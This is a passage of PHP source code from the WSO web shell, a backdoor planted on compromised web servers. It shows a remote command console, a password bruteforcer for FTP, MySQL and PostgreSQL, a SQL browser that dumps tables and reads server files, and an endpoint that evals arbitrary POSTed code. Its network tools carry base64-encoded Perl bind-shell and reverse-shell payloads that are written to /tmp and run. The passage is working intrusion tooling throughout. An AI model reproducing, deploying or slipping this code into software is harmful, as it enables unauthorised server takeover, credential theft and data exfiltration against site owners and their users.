1050        echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
1051    echo '</div>';
1052    wsoFooter();
1053 }
1054 
1055 function actionConsole() {
1056     if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
1057         $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
1058         $_POST['p1'] .= ' 2>&1';
1059     } elseif(!empty($_POST['p1']))
1060         $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
1061 
1062    if(isset($_POST['ajax'])) {
1063        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1064        ob_start();
1065        echo "d.cf.cmd.value='';\n";
1066        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'&#92;&#48;"));
1067        if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))  {
1068            if(@chdir($match[1])) {
1069                $GLOBALS['cwd'] = @getcwd();
1070                echo "c_='".$GLOBALS['cwd']."';";
1071            }
1072        }
1073        echo "d.cf.output.value+='".$temp."';";
1074        echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1075        $temp = ob_get_clean();
1076        echo strlen($temp), "\n", $temp;
1077        exit;
1078    }
1079    wsoHeader();
1080     echo "<script>
1081 if(window.Event) window.captureEvents(Event.KEYDOWN);
1082 var cmds = new Array('');
1083 var cur = 0;
1084 function kp(e) {
1085   var n = (window.Event) ? e.which : e.keyCode;
1086   if(n == 38) {
1087       cur--;
1088       if(cur>=0)
1089           document.cf.cmd.value = cmds[cur];
1090       else
1091           cur++;
1092   } else if(n == 40) {
1093       cur++;
1094       if(cur < cmds.length)
1095           document.cf.cmd.value = cmds[cur];
1096       else
1097           cur--;
1098   }
1099 }
1100 function add(cmd) {
1101   cmds.pop();
1102   cmds.push(cmd);
1103   cmds.push('');
1104   cur = cmds.length-1;
1105 }
1106 
1107 </script>";
1108    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1109    foreach($GLOBALS['aliases'] as $n => $v) {
1110        if($v == '') {
1111            echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1112            continue;
1113        }
1114        echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1115    }
1116    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1117        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1118    echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1119    if(!empty($_POST['p1'])) {
1120        echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1121    }
1122    echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1123    echo '</form></div><script>d.cf.cmd.focus();</script>';
1124    wsoFooter();
1125 }
1126 
1127 function actionLogout() {
1128     session_destroy();
1129    die('bye!');
1130 }
1131 
1132 function actionSelfRemove() {
1133 
1134    if($_POST['p1'] == 'yes')
1135        if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1136            die('Shell has been removed');
1137        else
1138            echo 'unlink error!';
1139     if($_POST['p1'] != 'yes')
1140         wsoHeader();
1141    echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1142    wsoFooter();
1143 }
1144 
1145 function actionBruteforce() {
1146    wsoHeader();
1147    if( isset($_POST['proto']) ) {
1148        echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1149        if( $_POST['proto'] == 'ftp' ) {
1150            function bruteForce($ip,$port,$login,$pass) {
1151                $fp = @ftp_connect($ip, $port?$port:21);
1152                if(!$fp) return false;
1153                $res = @ftp_login($fp, $login, $pass);
1154                @ftp_close($fp);
1155                return $res;
1156            }
1157        } elseif( $_POST['proto'] == 'mysql' ) {
1158            function bruteForce($ip,$port,$login,$pass) {
1159                $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1160                @mysql_close($res);
1161                return $res;
1162            }
1163        } elseif( $_POST['proto'] == 'pgsql' ) {
1164            function bruteForce($ip,$port,$login,$pass) {
1165                $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1166                $res = @pg_connect($str);
1167                @pg_close($res);
1168                return $res;
1169            }
1170        }
1171        $success = 0;
1172        $attempts = 0;
1173        $server = explode(":", $_POST['server']);
1174        if($_POST['type'] == 1) {
1175            $temp = @file('/etc/passwd');
1176            if( is_array($temp) )
1177                foreach($temp as $line) {
1178                    $line = explode(":", $line);
1179                    ++$attempts;
1180                    if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1181                        $success++;
1182                        echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1183                    }
1184                    if(@$_POST['reverse']) {
1185                        $tmp = "";
1186                        for($i=strlen($line[0])-1; $i>=0; --$i)
1187                            $tmp .= $line[0][$i];
1188                        ++$attempts;
1189                        if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1190                            $success++;
1191                            echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1192                        }
1193                    }
1194                }
1195        } elseif($_POST['type'] == 2) {
1196            $temp = @file($_POST['dict']);
1197            if( is_array($temp) )
1198                foreach($temp as $line) {
1199                    $line = trim($line);
1200                    ++$attempts;
1201                    if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1202                        $success++;
1203                        echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1204                    }
1205                }
1206        }
1207        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1208    }
1209    echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1210        .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1211        .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1212        .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1213        .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1214        .'<span>Server:port</span></td>'
1215        .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1216        .'<tr><td><span>Brute type</span></td>'
1217        .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1218        .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1219        .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1220        .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1221        .'<td><input type=text name=login value="root"></td></tr>'
1222        .'<tr><td><span>Dictionary</span></td>'
1223        .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1224        .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1225    echo '</div><br>';
1226    wsoFooter();
1227 }
1228 
1229 function actionSql() {
1230    class DbClass {
1231        var $type;
1232        var $link;
1233        var $res;
1234        function DbClass($type)    {
1235            $this->type = $type;
1236        }
1237        function connect($host, $user, $pass, $dbname){
1238            switch($this->type)  {
1239                case 'mysql':
1240                    if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1241                    break;
1242                case 'pgsql':
1243                    $host = explode(':', $host);
1244                    if(!$host[1]) $host[1]=5432;
1245                    if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1246                    break;
1247            }
1248            return false;
1249        }
1250        function selectdb($db) {
1251            switch($this->type)  {
1252                case 'mysql':
1253                    if (@mysql_select_db($db))return true;
1254                    break;
1255            }
1256            return false;
1257        }
1258        function query($str) {
1259            switch($this->type) {
1260                case 'mysql':
1261                    return $this->res = @mysql_query($str);
1262                    break;
1263                case 'pgsql':
1264                    return $this->res = @pg_query($this->link,$str);
1265                    break;
1266            }
1267            return false;
1268        }
1269        function fetch() {
1270            $res = func_num_args()?func_get_arg(0):$this->res;
1271            switch($this->type)  {
1272                case 'mysql':
1273                    return @mysql_fetch_assoc($res);
1274                    break;
1275                case 'pgsql':
1276                    return @pg_fetch_assoc($res);
1277                    break;
1278            }
1279            return false;
1280        }
1281        function listDbs() {
1282            switch($this->type)  {
1283                case 'mysql':
1284                         return $this->query("SHOW databases");
1285                break;
1286                case 'pgsql':
1287                    return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1288                break;
1289            }
1290            return false;
1291        }
1292        function listTables() {
1293            switch($this->type)  {
1294                case 'mysql':
1295                    return $this->res = $this->query('SHOW TABLES');
1296                break;
1297                case 'pgsql':
1298                    return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1299                break;
1300            }
1301            return false;
1302        }
1303        function error() {
1304            switch($this->type)  {
1305                case 'mysql':
1306                    return @mysql_error();
1307                break;
1308                case 'pgsql':
1309                    return @pg_last_error();
1310                break;
1311            }
1312            return false;
1313        }
1314        function setCharset($str) {
1315            switch($this->type)  {
1316                case 'mysql':
1317                    if(function_exists('mysql_set_charset'))
1318                        return @mysql_set_charset($str, $this->link);
1319                    else
1320                        $this->query('SET CHARSET '.$str);
1321                    break;
1322                case 'pgsql':
1323                    return @pg_set_client_encoding($this->link, $str);
1324                    break;
1325            }
1326            return false;
1327        }
1328        function loadFile($str) {
1329            switch($this->type)  {
1330                case 'mysql':
1331                    return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1332                break;
1333                case 'pgsql':
1334                    $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1335                    $r=array();
1336                    while($i=$this->fetch())
1337                        $r[] = $i['file'];
1338                    $this->query('drop table wso2');
1339                    return array('file'=>implode("\n",$r));
1340                break;
1341            }
1342            return false;
1343        }
1344        function dump($table, $fp = false) {
1345            switch($this->type)  {
1346                case 'mysql':
1347                    $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1348                    $create = mysql_fetch_array($res);
1349                    $sql = $create[1].";\n";
1350                     if($fp) fwrite($fp, $sql); else echo($sql);
1351                    $this->query('SELECT * FROM `'.$table.'`');
1352                     $head = true;
1353                    while($item = $this->fetch()) {
1354                        $columns = array();
1355                        foreach($item as $k=>$v) {
1356                             if($v == null)
1357                                 $item[$k] = "NULL";
1358                             elseif(is_numeric($v))
1359                                 $item[$k] = $v;
1360                             else
1361                                 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1362                            $columns[] = "`".$k."`";
1363                        }
1364                         if($head) {
1365                             $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1366                             $head = false;
1367                         } else
1368                             $sql = "\n\t,(".implode(", ", $item).')';
1369                         if($fp) fwrite($fp, $sql); else echo($sql);
1370                    }
1371                     if(!$head)
1372                         if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1373                break;
1374                case 'pgsql':
1375                    $this->query('SELECT * FROM '.$table);
1376                    while($item = $this->fetch()) {
1377                        $columns = array();
1378                        foreach($item as $k=>$v) {
1379                            $item[$k] = "'".addslashes($v)."'";
1380                            $columns[] = $k;
1381                        }
1382                         $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1383                         if($fp) fwrite($fp, $sql); else echo($sql);
1384                    }
1385                break;
1386            }
1387            return false;
1388        }
1389    };
1390    $db = new DbClass($_POST['type']);
1391    if(@$_POST['p2']=='download') {
1392        $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1393        $db->selectdb($_POST['sql_base']);
1394         switch($_POST['charset']) {
1395             case "Windows-1251": $db->setCharset('cp1251'); break;
1396             case "UTF-8": $db->setCharset('utf8'); break;
1397             case "KOI8-R": $db->setCharset('koi8r'); break;
1398             case "KOI8-U": $db->setCharset('koi8u'); break;
1399             case "cp866": $db->setCharset('cp866'); break;
1400         }
1401         if(empty($_POST['file'])) {
1402             ob_start("ob_gzhandler", 4096);
1403             header("Content-Disposition: attachment; filename=dump.sql");
1404             header("Content-Type: text/plain");
1405             foreach($_POST['tbl'] as $v)
1406                $db->dump($v);
1407             exit;
1408         } elseif($fp = @fopen($_POST['file'], 'w')) {
1409             foreach($_POST['tbl'] as $v)
1410                 $db->dump($v, $fp);
1411             fclose($fp);
1412             unset($_POST['p2']);
1413         } else
1414             die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1415    }
1416    wsoHeader();
1417    echo "
1418 
1419 <h1>Sql browser</h1><div class=content>
1420 <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1421 <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1422 <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1423 <td><select name='type'><option value='mysql' ";
1424     if(@$_POST['type']=='mysql')echo 'selected';
1425 echo ">MySql</option><option value='pgsql' ";
1426 if(@$_POST['type']=='pgsql')echo 'selected';
1427 echo ">PostgreSql</option></select></td>
1428 <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
1429 <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
1430 <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1431    $tmp = "<input type=text name=sql_base value=''>";
1432    if(isset($_POST['sql_host'])){
1433        if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1434            switch($_POST['charset']) {
1435                case "Windows-1251": $db->setCharset('cp1251'); break;
1436                case "UTF-8": $db->setCharset('utf8'); break;
1437                case "KOI8-R": $db->setCharset('koi8r'); break;
1438                case "KOI8-U": $db->setCharset('koi8u'); break;
1439                case "cp866": $db->setCharset('cp866'); break;
1440            }
1441            $db->listDbs();
1442            echo "<select name=sql_base><option value=''></option>";
1443            while($item = $db->fetch()) {
1444                list($key, $value) = each($item);
1445                echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1446            }
1447            echo '</select>';
1448        }
1449        else echo $tmp;
1450    }else
1451        echo $tmp;
1452    echo "</td>
1453 
1454               <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1455                 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1456           </tr>
1457       </table>
1458       <script>
1459             s_db='".@addslashes($_POST['sql_base'])."';
1460             function fs(f) {
1461                 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1462                     if(f.p1) f.p1.value='';
1463                     if(f.p2) f.p2.value='';
1464                     if(f.p3) f.p3.value='';
1465                 }
1466             }
1467           function st(t,l) {
1468               d.sf.p1.value = 'select';
1469               d.sf.p2.value = t;
1470                 if(l && d.sf.p3) d.sf.p3.value = l;
1471               d.sf.submit();
1472           }
1473           function is() {
1474               for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1475                   d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1476           }
1477       </script>";
1478    if(isset($db) && $db->link){
1479        echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1480            if(!empty($_POST['sql_base'])){
1481                $db->selectdb($_POST['sql_base']);
1482                echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1483                $tbls_res = $db->listTables();
1484                while($item = $db->fetch($tbls_res)) {
1485                    list($key, $value) = each($item);
1486                     if(!empty($_POST['sql_count']))
1487                         $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1488                    $value = htmlspecialchars($value);
1489                    echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
1490                }
1491                echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1492                if(@$_POST['p1'] == 'select') {
1493                    $_POST['p1'] = 'query';
1494                     $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1495                    $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1496                    $num = $db->fetch();
1497                    $pages = ceil($num['n'] / 30);
1498                     echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1499                     echo " of $pages";
1500                     if($_POST['p3'] > 1)
1501                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1502                     if($_POST['p3'] < $pages)
1503                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1504                     $_POST['p3']--;
1505                    if($_POST['type']=='pgsql')
1506                        $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1507                    else
1508                        $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1509                    echo "<br><br>";
1510                }
1511                if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1512                    $db->query(@$_POST['p2']);
1513                    if($db->res !== false) {
1514                        $title = false;
1515                        echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1516                        $line = 1;
1517                        while($item = $db->fetch())   {
1518                            if(!$title) {
1519                                echo '<tr>';
1520                                foreach($item as $key => $value)
1521                                    echo '<th>'.$key.'</th>';
1522                                reset($item);
1523                                $title=true;
1524                                echo '</tr><tr>';
1525                                $line = 2;
1526                            }
1527                            echo '<tr class="l'.$line.'">';
1528                            $line = $line==1?2:1;
1529                            foreach($item as $key => $value) {
1530                                if($value == null)
1531                                    echo '<td><i>null</i></td>';
1532                                else
1533                                    echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1534                            }
1535                            echo '</tr>';
1536                        }
1537                        echo '</table>';
1538                    } else {
1539                        echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1540                    }
1541                }
1542                echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1543                 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1544                     echo htmlspecialchars($_POST['p2']);
1545                 echo "</textarea><br/><input type=submit value='Execute'>";
1546                echo "</td></tr>";
1547            }
1548            echo "</table></form><br/>";
1549             if($_POST['type']=='mysql') {
1550                 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1551                 if($db->fetch())
1552                     echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1553             }
1554            if(@$_POST['p1'] == 'loadfile') {
1555                $file = $db->loadFile($_POST['p2']);
1556                echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1557            }
1558    } else {
1559         echo htmlspecialchars($db->error());
1560     }
1561    echo '</div>';
1562    wsoFooter();
1563 }
1564 function actionNetwork() {
1565    wsoHeader();
1566    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1567    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1568    echo "<h1>Network tools</h1><div class=content>
1569 
1570   <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1571   <span>Bind port to /bin/sh 1</span><br/>
1572   Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1573   </form>
1574   <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1575   <span>Back-connect  1</span><br/>
1576   Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1577 
1578   </form><br>";
1579    if(isset($_POST['p1'])) {
1580        function cf($f,$t) {
1581            $w = @fopen($f,"w") or @function_exists('file_put_contents');
1582            if($w){
1583                @fwrite($w,@base64_decode($t));
1584                @fclose($w);
1585            }
1586        }
1587        if($_POST['p1'] == 'bpp') {
1588            cf("/tmp/bp.pl",$bind_port_p);
1589            $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1590            echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1591             unlink("/tmp/bp.pl");
1592        }
1593        if($_POST['p1'] == 'bcp') {
1594            cf("/tmp/bc.pl",$back_connect_p);
1595            $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1596            echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1597             unlink("/tmp/bc.pl");
1598        }
1599    }
1600    echo '</div>';
1601    wsoFooter();
1602 }
1603 function actionRC() {
1604    if(!@$_POST['p1']) {
1605        $a = array(
1606            "uname" => php_uname(),
1607            "php_version" => phpversion(),
1608            "wso_version" => WSO_VERSION,
1609            "safemode" => @ini_get('safe_mode')
1610        );
1611        echo serialize($a);
1612    } else {
1613        eval($_POST['p1']);
1614    }
1615 }
1616 if( empty($_POST['a']) )
1617    if(isset($default_action) && function_exists('action' . $default_action))
1618        $_POST['a'] = $default_action;
1619    else
1620        $_POST['a'] = 'SecInfo';
1621 if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1622    call_user_func('action' . $_POST['a']);
1623 exit;
1624 ?>